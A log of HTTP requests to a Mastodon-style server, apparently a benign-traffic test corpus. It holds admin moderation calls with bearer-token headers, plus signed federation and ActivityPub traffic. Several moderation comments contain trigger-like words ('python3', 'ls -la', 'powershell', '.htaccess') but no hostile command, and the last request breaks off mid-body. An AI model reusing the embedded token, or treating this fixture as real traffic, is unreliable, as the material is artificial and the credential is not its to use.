{"method": "GET", "target": "/api/v1/admin/reports", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/trends/tags", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/admin/domain_blocks", "headers": ["Host: example.com", "Content-Length: 122", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "domain=spam2.example&severity=silence&private_comment=python3+and+ls+-la+spam&public_comment=powershell+and+.htaccess+spam"}
{"method": "POST", "target": "/api/v1/admin/email_domain_blocks", "headers": ["Host: example.com", "Content-Length: 20", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "domain=spam2.example"}
{"method": "POST", "target": "/api/v1/admin/ip_blocks", "headers": ["Host: example.com", "Content-Length: 86", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "ip=198.51.100.0%2F24&severity=sign_up_requires_approval&comment=python3+signup+scripts"}
{"method": "POST", "target": "/api/v1/admin/canonical_email_blocks/test", "headers": ["Host: example.com", "Content-Length: 24", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "email=spam%40example.org"}
{"method": "POST", "target": "/api/v1/admin/accounts/117589325674471006/action", "headers": ["Host: example.com", "Content-Length: 95", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "type=none&text=Please+stop+posting+python3+and+powershell+malware&send_email_notification=false"}
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Content-Length: 82", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "keys%5B%5D=active_users&keys%5B%5D=new_users&start_at=2026-11-01&end_at=2026-11-09"}
{"method": "GET", "target": "/api/v1/admin/domain_allows?", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses/117589418035558426/unbookmark", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "DELETE", "target": "/api/v1/statuses/117589418035558426", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
{"method": "GET", "target": "/.well-known/webfinger?resource=acct%3Aadmin%40example.com", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/jrd+json, application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/.well-known/webfinger?resource=acct:bob@example.com", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/jrd+json, application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/.well-known/webfinger?resource=https%3A%2F%2Fexample.com%2Fusers%2Fadmin", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/jrd+json, application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/.well-known/host-meta", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/xrd+xml", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/.well-known/nodeinfo", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/nodeinfo/2.0", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/api/v1/instance", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/json", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/users/admin", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"Y5ZuE0MOAi7ofZkpciGb+6B2x1570oCCl9NrPLnw3/N+YLlCU1pDBNlOvajumPfHhn1FYfxFD2iXhBCbhFX5YzRxFr4JiVQxtE6Az9N8zDuppQYSDUrFHzr/apPEz7MOeEKpnDZayLJOnLVITFfXo0zxS74deEjMxIbQiIT2dpsmqWoFOLppHbK09YFfrNWm1i/moefDCTKxwaeT0TaZThq163LGWhLI1hNyVGBrXteApuyxNMccJdDGwaJXMSq7GJjjEu0cibYljwP+lMBt/LEYyxnGA8PxFtqTgwLzXe1T5Dp8LSrT0xotd70cJM2NWZGljHY3rlULJMdCYr20bw==\""], "body": ""}
{"method": "GET", "target": "/actor", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"J+gTKwfdLDbez3w3ci6Gdl10xqi0jU1ot59nSnJWsY2ag7u6VQjLlAXNcq0DJ9KJrh8MXzldcbi/QwCKbZk1uz++rjZXSwvl74hR4Swq0y+az95jO3/HFtOKtQLyBTqPfb4sQCuFpdNEgg+gW+yTWCmbBMaL55IZD9wT+RRvEPOlx7H1T/IYgauqNY7wDE4bbqcQnu+ihA5N8ZZvYhSV5dPikCM1xbxL2QJRjcJTKV6l+wvBRwI/Zputjpk8PBTswi2oEkJSs5VN/my1LzZVYWL6W8jZSTzh/hoqOgsqo2ZYpnaT+8YbPI6qyxh8VMtPEyfY4tUBik0pjNKcaySvjw==\""], "body": ""}
{"method": "GET", "target": "/users/admin/outbox", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"DXTJHzfDUc1Ez219MDV9THrpbiMVSvVzjOgogPBa3L+atf2RZ+RMn8NxIMN5FERFDyevnvMOgyj7AMOS+zCyMpyskFgYSnAFu4XCsUGffSFIASvKjWguTQ15gWGmsRGmF3tCQggw+voeOL0I+d+EEGAOgZoZ2QqF5i4qDk1GooQO/nYIVTrK83ARNx/QMm9nEqFHsBRPGdU3Mj16uWHNNKGyYVOdlx7hOKLBHDuCA0d8iu8RSp6ojkfriwUtySCTafKfYwM5THE+G3lFm8IkIQt0SiI1aZlp8KEpV64g9YywuM+JXXLeA3vYWD3JuaciwO7ay6m+dNSSZbbatZQ+6Q==\""], "body": ""}
{"method": "GET", "target": "/users/admin/outbox?page=true", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"HqhTPCnI/uaGcjevFuWVJrjiimE5eg4wbBE/O0KGuW8+HNl58yQqmGpRQl+WT5ETcQRHDxsNrJRBJa73PRyncAFTp55SDwL/v1RoTLMaARcPtWvuoYy8v1MXmXQMWdJOVxgr5TVzBT0kvfyvb6+Pf28nFwyPX7W/MGCjPaBpvUPK6yxwP0NI242BZeO0Rmh5AS+yUxHps/tz6mslOHiwHT2anRvSFuXi4/lyEL8PWqtT1G0LBDfs9LNjLNLi+bAB/hkrl9LU5MOCb+e4c5EeBjl77qENl6+gSuz4ctnv8uzgBAACvS3XWs6SjnbbYiUKYbz7IpcdU8YEbbllVS23eg==\""], "body": ""}
{"method": "GET", "target": "/users/admin/followers", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"hR/0PqXlBbIbQlIhnIvjKAkIQIlFFi1YBXk2IQG+MKl4/gBPHOD7qrn9XZy18h1KM99q2DUOHqv6IZ/PicGkSxfrLYSHz+7o19Vdx7GTy4xBEX8AuAsAzNfTPLZqzvc9hHhz4OC7c0sEcgOfYCqplXT5bzOV45uvf09F4kh0FnNCCfZzb68kN+qIYwwAvlhu0wndO0K2KyZnYvW2Ps2Z9XUpkpSbn2MrtqHrItWM/CqO6oTWg8Y5+qDFhvcSiZBfdJnUTOM2UmX5qr2A+Vdcv8eunlMEO9gWnr5Ny8E2cjbhe9oWUHyhE1+/TcQBSR28pFfR6z+qiqAKNtfvsYdCRw==\""], "body": ""}
{"method": "GET", "target": "/users/admin/following", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"NCVb3fqv0GxCag4azSlbOa7Y3l1eeSqB6O0Bau7R9PHsZuWjL9siKYin68Z3wzCKIZiETwid17VWQCqVVZRszios2ReqdEWyGwu5yc1TbfJR+bsVpbH2jWu7oddOX1qjqv5BYCLrJKv/gCgNNdVtZW9LckQgsyP93IYTMSzwE8gUShhXiD/+E2B5aRIIwjvj/tJHfvwHKzid7OwlXg+TJJyBqQ1k1IIorbKMrnEBTiyCWVB2SGG/bzgf3hq4VHYCoAL3CZTLIg/VRSqiFanpkG6JwoyasG4bN+4QCW/SrX3qXZtTHg1BbR9Kj3txYFVTi+O//XhjddN7hNJIsObXJg==\""], "body": ""}
{"method": "GET", "target": "/users/admin/collections/featured", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"PStB/Ph3bi8x7XzkNTZeLYG7y9K16CqjcFceXAR5JFvmIcFuD2NDSW58ztcRGYxyXoYSTK4goX+AAqj/5nxe5BeC+4GpuwAb3SC4DkpjqsXsMKR5KjO5o9fpThXPa0W4R6a9+wbLwnAkwYp+pffL3tGmr7/AYOJ60+k4pVke9gjSFiFs/Sk5MRJmpx6WWkEnBmskYOuNHXwzBzBpJDjTND8obQqfTgH3Rh5c2Ps64JIM2sVwv88i2ht+jRDWljKWT4JlD4NjpugsVYPvIS8rTnIX3yHnVSo/MBMvVKYCqsq+TlmTO1trR8Y1IsyPUIJqeOSiBlf1YaWjzeecTzgRyA==\""], "body": ""}
{"method": "GET", "target": "/users/admin/collections/tags", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"SrnwSKrTyP5HYgBnfP5BasHWyq+4Gv3eoNz26RB9afPBiEIl3rxa4eY1qffuxI+ixCNB+4BwP29lI5OMPeZ9+kcT3dlhMiaNHrStlgyERErTlQQmFZJ1OmcOdxcAuWcS42QEebJnY5Tq4FEEWB6UlxyOlTLUTlfjJlR9wqwod6Z05MAqw/VGk7vQo1IyJGvzsqZRJjywZoAtcTmY/YYiYZKmlj9O3Uqx8/akk036It4G3K3+nFdlq3Xq8toX2lVuju3+qN3cLGNFXOofl8Mr/xAYGWvJv6Gq6H0E9zL+CF7Ohvqk4reZuZqajW7GZzb3Itna0Z2PKmwlZFqcEmYI/g==\""], "body": ""}
{"method": "GET", "target": "/users/admin/statuses/117589416124674245", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"Z66UywgTREmVnaPgrxwtnorjrgLEvqukvNCeZxB14/dSyIrnFEoVKbeYKfx0zqxp0uGMfOOS/kvtQ3+e8wKAxnmnTcqBA+s1ZKwwC3Czr9fDgtalaU8SKiKhIgw7uC7TcMgfW0kbO4dnycGJS+T8HUCH3GjawzReUfyqvavqoq+ELfHkBS1rS6l8z1AaOHgeKmU91CJwHOdQ+Md3QaLW8jJeO1UbS/qPPxK19nu++ebWtrCwyT99R/2mE6l0p95DP54IRtTXv2mkVI1xlT658r+qmYBh4WJz/uzyAblK3neFgrswt1LMjrDSG2fB2KasBPvJT/vex/NCj1a05v3xIQ==\""], "body": ""}
{"method": "GET", "target": "/users/admin/statuses/117589416124674245/activity", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"ByHj36T4FIS1MRlx2nR9nkBYxpTMlJeX7kEz5lJ1jDc3mH+QVbAbXX/m+KuTKzTmTQqbS+xTaGS5PxqfrLzftYRvPkO5nOTJVhiywGpZTYnFJLc1HJg2Pc1GBwt9QnIBN1a0Bo/lJao8Zs3qyHtIdpkkw7z5OZHd7NexAKYyfPW14qUAXs2bdZZJkrylLALcjOPiN6EnJa9WGO0sCVdoQ2nriLxg8a4+9h7NDNEsk8DJkU/irqZmq4T0spkPuAxWu66M+nxKkgLdaIQjr6t53tFtYsgJPUOaNoduQqkU2Q2LDLudf+j/xCARdlvnmHc1tRTKiCg2KaxwD1cTCo+ntg==\""], "body": ""}
{"method": "GET", "target": "/users/admin/statuses/117589416124674245/replies?only_other_accounts=true&page=true", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"PZq3O+0QkUmtiqATFHubQFnDuzOKSz7UddEerb4iWanAvsbfsTXjgeYe5P2XpITg9Tp4gKTWsKBKG9r/O42M1+f/Rzq+vqVzYEzQY2F/cpfE8MLnEVySeyygb416ZiNl/hms4fqwBh3SPnw8rDvRPxrUhixN+5LeMcOYM0f/PQdCBOIs18tD01ykjaptoo3+N7OhAw1EyGf7V0NRwtmHNLfbO8047OEn/T47E45AhfCJwKfynTBRThDWELnFiUsyc7qTdJppaaWhZH/ZFGUtSfEa9yPH/9IVuFvZp5SuZdP2kClQD5iI7SDTMvyvzNJnZAeGlLPcfCyNBtgY3wVZIw==\""], "body": ""}
{"method": "GET", "target": "/users/bob", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"aM31qv7EmZ8v7w+QZmlxCIQRiGNfRLUHPMZPjMAB/2KBsuppT7X3ZQxjEuh0RCrS7OWIa46Qwl/5rIyWqzLzmvP2fAEt+GVb9vg+EOlqnGLaDmqC31st6uXbF4dEcF5QiRWURZNeYPBGVnn8V+7tweeSFH5OXLPDU5O+VWwErIOgmbjhlsx0ObX0t7tVXTPpPP7MGRK2UxlMwimfXs5nb0ww3sb9MPaNwHXWcYhJqKLyBDuodWnEF6ZpIjEYaOlCyxYOWpGEQjvzA+tw+4oIbF4f1HERJAbARIK0ZXhfrjYwPgt3kODsfqjLQW7BJgnxKdCKbYlcMgWfSN0fgXVRgg==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589326485981102", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"faNJr4/Ij11scQKvdfquNq3+HJWT68PjUTM/JO7vVdy6IAbwWpARlP/4T45sffC+szDdGELiTtUz+dcFk+CjKn2VFCUGUdtT4C4vlw91dNg3P8EC0cL6gS1mPz1H7iIisw3Q1Y4lDU81mLwzINtXY8X8Vihi2ckvI3GmBTKA8sUHvkSROtnEe/XD2qD6xAaxt2hUt5Ah3tWTMlvFhh+bGPsihMPck9xAanMN21wKrdyagv2VMw2dVzO11DJ7CLnDAVYDlw03MlA5QxOPTIffUJbYKmdaHraC3AFn4YwqjsU7gdjx6ZNmDxdtgUlkJR+hZwCFvYjrxPrwq6PaLOkElw==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589326485981102/statuses/117589416124674245", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"YT4xIe4XDFGLMGwEvw2rRNoLLu7F5IuYHQ0ABq8LDe/le/E0WVCFs7XuTNMVXbJj/UdjZXrG41owHmtguk1HIdDKU97Idd0GSyET8kbJPou2hyYVOqibB+OZC6u14OtVHzNVZuBTcaMEH6gLDAszwAUBHFLemRpJDBDYA90/ScybaSh4eqpnTzpdq5t86Z8W8OYy2H95Kz2U/VTMrkJU0RRZtAyjaMYh9Iwb7do/yoWon/tjxBANHXIbRUefPssRwvYP3axREflnSliHl8yBxWNp1mdT+jIm5WBhBuT+dMMX+UteUauOYgjWIr6T3YpgnwTLVSUm0QR0/54nInmnEg==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589326485981102/outbox?page=true", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"MPYJITBQjhGgO/o8vzZtUix99lzWNyGsW7P72VXygmzs0lmyWecerxXnyVg1yYeqFslH2APVqcetSDR0pk7kgXt9hFT1ovw/uflWOeY/U/l+TKsBoTUEpCzKXZIcfbwG36mZsohcvb/9mkRwWIoqr4vfcb4DgxxCOoUo7z8xgKUHSrgsVvtg3ps80aKWbGrCMb6uc1LMjBoqZeYde/N2y2f+dvB9hr0y+TZ2Te4WOYeKCQ4Zbqxk0DH9XgXMaEkCLGOLnbdO064VUxojxGpqh74QfdYHzVautS1wqTAbdoaj4ybKQLTxvTwGubmqIlV3EiPtgKXHrpNGMk2hBuD7+g==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589326485981102/followers", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"Rzw6tw0U5I94GWg8TVu4Wkx9hgPzTTygZIOZPb/OioOvjVyQFhtSdNS/WthZzOwaqGQjkJtxqy+RHibQ906E5u2yeLJ5envDlGWCcQyBg+o71Fnrx0TEPZCtWt/jgkzW+VHA4GTTPumo0wztUt0S9JXDBPL6QOzBagbUhqDKq8Uegy/OXp5ayI767x43kCyOvBt3JaM+IiCMXgTFIu4KLH6MKKUVCy+jbkiaA1kJwhxuZrM6/JGo7Bi1WGaRkrqbU8YvBLhk39efFWpX/GHhWcpV9mMw90rxdjW01pUqTECViP8Y7d0FtkpJZv5OWKE48MRTDxBCTWyOI6gjyCfRxw==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589326485981102/collections/featured", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"EuSQO+w1pQL02F2PszEwyTo9MuXwyXP1ZvaUaoKR/CBoIEvl11N6cpVczQHCx1UebmouZziouTm4WQsmIUTQ2/H8/Nw1jXd0aRTiqoIHof60D20ruI4ozH8VmUSMFtI0D0s7ktdM4MHmqNzl3qX3XzsfDvDQBPvOM0/dGVj/L2iE2fx1pxPDrIKTj5axCAyQafYxi25wIlYvbHbdzg5DIe5tVRdyFlFQx7RxgpNa8CknZZZ5qMBQXPIfbbqk4gL6EHHwYsZXmwHDZ7+5vjPjfA21JjsIfSEG2joRVgjSmCi9MMgTiBOkEL02yRam9CYpNZbykk/gj1Np90ah6Bz1bg==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589326485981102/statuses/117589416124674245", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Accept: application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", application/activity+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"RquCG3/BhYWVBEGO+kRCw3AEVI3Elgf1TG6Lc0KvISmuuYCWNUkfEbrNvd0zXRrQVW5I+qKOW47kJXyMDeQqiSDF4+s5OLD5bhxz36Jozmv1exbNIuand/mdiTdQQ8TNADi8ipHeloeu9jQdVyGR9WQ+yRTQEUINg0gcwTm3Ndng5rC7W6dT3ooPWmUXAaz0OsKN+pNJFayB7u20CHgmKol1JPF+haBC8xYGgfDasDjI3BgtPssaNUVbKgx9PWXmjpANetnBdhNXF1rwyUQ6PO5xyHu3oeJGqbeHLzZSCiABSC5tJnqy37F8N6J0rXZ0Klildpg9UgL9GF4TcdGYfQ==\""], "body": ""}
{"method": "POST", "target": "/ap/users/117589326485981102/inbox", "headers": ["Content-Length: 235", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=jiJBtB8rH8EldMvZ3w+Kbgk6hy0mzYVJs0zo0PMs7/I=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"OLBZLjqZF2DwLpWVe05XVi6qJ+XdWVpmfLfXkeBxZmQshnhsuARRb9PyZx6njZA4wtpxz0LVWl0fHX9WF4AXtDi1Ni4OlOkzIOf4EKaAWP3pXrt2M6MB7AccovdOCUVoK8U8QcgTTHHJCps2LrD/Jx8pN+nD0Ea6Xs0hFZXafThHqAMPFC69AbeoD6lzEHyYOvxUx+VrmMvGS3XinNXMGdJJCggt0NVXBf8zTdxvUz/sr6/XnXX7V1nsdMuoGNigh9WOt0XjD0iPlb4XIVsZyw5mTIDQDjs/fvt8q1mbN2Cut2AfgZI/m+zPGg8hxqwEVdWfqHKwnzxkgAGPROi40A==\""], "body": "{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"https://remote.example/8688907a953b43a1900142aac9bd6698\",\"type\":\"Follow\",\"actor\":\"https://remote.example/users/alice\",\"object\":\"https://example.com/ap/users/117589326485981102\"}"}
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 2682", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=ZjFyt6rNoRMAIVcrNVxxSHkW3hd/shnh6dqejBq8YwQ=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"bAgmhxMQouHI6w1OzXpTEjmgqw0OvTMEYyuYpEDvwGlL6MbfBNKIpnlm8FbqtShlUWOBln04pIKxlANluR0p1ikevpmRWb8V3VXXOMvEL8/oQH+fJucOUBg6AiSktXP+ea0JDSj2sINXtVq7+lt9lRAy5V8cHA9QNc13Yzyeptv1p8sFb2/FxZ9Ms2YMuJa+DaEoLnY6UPPDeq7DBkYpyFgbE6Z7+fmbHymNvn5CMlMjneZF6RIrLd4CmtGDVgNEk+iVgo+0WwGVQymRhH91908xO7TW+u63yhxcs3odhmjkQOmdWDN9rTWRt8FtQe3dFWafJE8AEckErxH/VQvGIA==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice/statuses/200/activity\",\"type\":\"Create\",\"actor\":\"https://remote.example/users/alice\",\"published\":\"2026-11-09T12:00:00Z\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\",\"https://example.com/ap/users/117589326485981102\"],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/200\",\"type\":\"Note\",\"summary\":null,\"inReplyTo\":null,\"published\":\"2026-11-09T12:00:00Z\",\"url\":\"https://remote.example/@alice/200\",\"attributedTo\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\",\"https://example.com/ap/users/117589326485981102\"],\"sensitive\":false,\"conversation\":\"tag:remote.example,2026-11-09:objectId=200:objectT